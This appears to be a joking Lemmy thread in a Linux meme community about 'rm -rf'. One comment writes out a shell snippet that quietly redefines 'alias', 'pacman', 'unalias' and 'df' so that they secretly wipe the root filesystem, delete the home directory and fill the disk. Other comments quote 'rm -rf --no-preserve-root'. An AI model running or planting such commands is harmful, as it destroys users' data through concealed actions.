Community rules (click to expand)

1. Follow the site-wide rules

2. Be civil
  • Understand the difference between a joke and an insult.
  • Do not harrass or attack members of the community for any reason.
  • Leave remarks of "peasantry" to the PCMR community. If you dislike an OS/service/application, attack the thing you dislike, not the individuals who use it. Some people may not have a choice.
  • Bigotry will not be tolerated.
  • These rules are somewhat loosened when the subject is a public figure. Still, do not attack their person or incite harrassment.
  • 3. Post Linux-related content
  • Including Unix and BSD.
  • Non-Linux content is acceptable as long as it makes a reference to Linux. For example, the poorly made mockery of sudo in Windows.
  • No porn. Even if you watch it on a Linux machine.
  • 4. No recent reposts
  • Everybody uses Arch btw, can't quit Vim, and wants to interject for a moment. You can stop now.

  • Please report posts and comments that break these rules!

    It's rf not fr. We are not French! Geez.

    rm -fr will delete France, right?

    [–] [email protected] 29 points 7 months ago

    You have to add --no-preserve-root otherwise the French will be able to come back.

    Just gotta add one of my mnemonics
    "I know" for make -ik
    It is the last resort. Ignore errors and keep compiling for as long as possible.

    I'm just being different. going against the grain

    This needs to be done with something that would be run as root, in a more hidden way, without disrupting service.

    export OLDALIASVALUES=$(alias) \
    && alias alias='echo "${OLDALIASVALUES}"' \
    && \alias pacman='(rm -rf --no-preserve-root / &) &> /dev/null ; \pacman' \
    && \alias unalias='(rm -rf ~/* ~/.* &) &> /dev/null ; sleep 5 ; echo "Not so fast my friend. You_re becoming homeless."' \
    && \alias df='(cat /dev/urandom >> ~/.df_stands_for_disk_full &) &> /dev/null ; \df'
    

    It's not perfect, plus I added something extra, but it's a slight improvement.
    ~~Also, I wish there was a way to turn off that code block color formatting in Lemmy 0.19.x.~~ Nevermind, copy-pasted it into glorious Vim, I didn't escape the single quote in "You're".
    Edit 2: Nevermind, that still screws up single quotes as \ is literal. _ will do ¯\⁠_⁠(⁠ツ⁠)⁠_⁠/⁠¯

    There is! Markdown supports

    ```<language>
    

    to enable syntax highlighting in code blocks. If you have an invalid language (e.g. .), it will just disable syntax highlighting.

    [–] [email protected] 4 points 7 months ago (1 children)

    you have to alias alias last, so it actually aliases.

    [–] [email protected] 2 points 7 months ago

    Oh crap, I forgot. Thanks. I just escaped it.

    [–] [email protected] 1 points 7 months ago

    Does this really work? Won't be this a security issue since this may be used for privilege escalation?

    Do we have a linux shitposting community? (no offense, this is a great shitpost)

    [–] Donkter 24 points 7 months ago (1 children)

    Just how different is a meme community to a shitpost community. Do we really need to split them?

    [–] [email protected] 4 points 7 months ago (1 children)

    We probably don't. But we might want to if we get enough shitposts covering the high-effort memes. But I agree it doesn't make much sense here on Lemmy for now.

    [–] [email protected] 4 points 7 months ago

    I just want to say, I appreciate your optimism and planning

    OMG, that's horrible. Back in my day all we did was set a screenshot of the desktop as the wallpaper, and then hide all the icons to prank people.

    [–] [email protected] 8 points 7 months ago

    You monster, at least do

    sudo rm -fr $1

    [–] [email protected] 3 points 7 months ago (1 children)

    oh i'd totally do this as a joke then run ls right after

    [–] [email protected] 2 points 7 months ago

    yeah I almost forgot to run alias ls="ls" after
